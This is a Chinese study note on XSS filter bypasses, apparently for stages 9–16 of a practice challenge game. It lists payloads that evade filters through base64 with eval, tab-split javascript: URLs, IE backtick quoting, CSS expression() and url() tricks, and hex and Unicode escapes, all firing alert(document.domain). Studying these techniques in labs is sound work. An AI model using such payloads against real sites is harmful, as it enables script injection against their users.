Web安全攻防 學習筆記
一、XSS 漏洞
1.1、跳過 Stage #9
在 span 标簽中添加
onclick= "alert(document.domain)"
(其他關卡也可以這樣跳過)
1.2、domain 過濾繞過
首先還是構造特殊無害字元串,響應中尋找字元串觀察閉合格式。
- 雙寫繞過
-
編碼繞過
(1)加密
(2)得到alert(document.domain)
(3)YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
atob
解碼 base64
(4)
執行 JavaScript 代碼eval
1.3、繞過替換 script 和 on 事件的 XSS
- 把
替換成script
xscript
- 把
替換成了onmouseover
onxxx
- JavaScript 僞協定也不行
在 Stage #11 示範
	 tab 制表符 html 十進制編碼
  空格 制表符 html 十進制編碼
=> (在這裡四個空格 ≠ 一個 tab, 當然也可能是浏覽器或者是編碼本身的問題)
"><a href="javas	cript:alert(document.domain);">xss</a>
"><a href="javas    cript:alert(document.domain);">xss</a>
二、利用 IE 特性繞過 XSS 過濾
2.1、沒有 IE 浏覽器可以用 IETester 代替
- 官網:https://www.my-debugbar.com/wiki/IETester/HomePage
- 在 IETester 中打開 Stage #xx 網址進行測試
- 在 IETester 中進行測試,因為各個版本的 IE 都需要進行測試,Windows10 裡面自帶的 IE 不會執行
2.2、Stage #12 繞過的引号及尖括号過濾
- IE 中兩個反引号 `` 可以閉合一個左邊雙引号
"
- 那麼比用尖括号的情況下,可以這樣閉合: ``οnclick=alert(document.domain) 。(這個隻适用于IE浏覽器,且可能不是每個版本都相容)
2.3、Stage #13 利用 CSS 特性繞過 XSS 過濾
- CSS 層疊樣式表,是一種用來表現 HTML 或 XML 等檔案樣式的計算機語言。可以修飾頁面效果,拿網站效果示範,修改 css 看頁面效果
- 觀察發現,輸入的内容存放在 style 中
- 輸入背景設定
(并不是所有版本的 IE 都可以)background:url("javascript:alert(document.domain);");
2.4、Stage #14 IE 中利用 CSS 觸發 XSS
css expression(css表達式)又稱 Dynamic properties(動态屬性)是早期微軟 DHTML 的産物,以其可以在 CSS 中定義表達式(公式)來達到建立元素間屬性之間的聯系等作用,從 IE5 開始得到支援,後因标準、性能、安全性等問題,微軟從 IE8 beta2 标準模式開始,取消對 css expression 的支。
-
CSS 中執行 JS
IE5 及其以後版本支援在 CSS 中使用 expression,用來把 CSS 屬性和 JavaScript 表達式關聯起來
here:expres/\*\*/sion(if(!window.x){alert(document.domain);window.x=1;});
=> # 後面是一個 JS 的判斷: 如果 window.x 參數不存在, 那麼執行後面的語句
# 由 here:expression(if(!window.x){alert(document.domain);window.x=1;}); 改寫而來
# 因為存在 expression -> xxx 替換
here:e\\0xpression(οnmοuseοver=function(){alert(document.domain)})
=> # 意為:onmouseover 事件觸發後面的匿名函數
# 由 here:expression(οnmοuseοver=function(){alert(document.domain)}) 改寫而來
# 因為存在 expression -> xxx 替換
三、16 進制繞過過濾觸發 XSS
3.1、十六進制介紹
十六進制轉換,16 進制每一位上可以是從小到大為
0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F
16 個大小不同 的數,即 逢 16 進 1,其中
A,B,C,D,E,F(字母不區分大小寫)
,這六個字母來分别表示
10,11,12,13,14,15
。
3.2、Python —— 16 進制轉換
import binascii
s = binascii.b2a_hex(">" .encode("utf8"))
print(s.decode()) # 把 > 轉換為 3e; 測試得 < 轉為 3c
print("\\x"+s.decode()) # 在編碼前面加上 \x, 第一個 \ 用來轉義, 最終得 \x3e
為什麼要加
\x
?
因為 JavaScript 不會自動将
3e
看作是
>
,因為它不認識,是以要加上
\x 即 \x3e
JavaScript 才會在執行是轉換為
>
Stage #15 測試
- 嘗試得,輸入之前的字元串都會被當作是字元串存放在 value 中
- 雙斜杠+16 進制繞過
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
# \x3c 與 \x3e 分别表示 < 和 >
# 還有一個 \ 用于轉義其後面的 \
四、Unicode 繞過過濾觸發 XSS
4.1、Unicode 介紹
Unicode(萬國碼、國際碼、統一碼、單一碼)是計算機科學領域裡的一項業界标準。它對世界上大部分的文字系統進行了整理、編碼,使得電腦可以用更為簡單的方式來呈現和處理文字。
Unicode 是為了解決傳統的字元編碼方案的局限而産生的,它為每種中的每個字元設定了統一并 且唯一的二進制編碼,滿足跨語言、跨平台進行文本轉換、處理的要求。
4.2、Python —— Unicode 轉換
import binascii
s = binascii.b2a_hex(">".encode("utf8"))
print(s.decode()) # 把 > 轉換為 3e; 測試得 < 轉為 3c
print("\\u00"+s.decode()) # 在編碼前面加上 \u00, 第一個 \ 用來轉義, 最終得 \u003e
Stage #16 測試
- 嘗試得,輸入之前的字元串都會被當作是字元串存放在 value 中
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e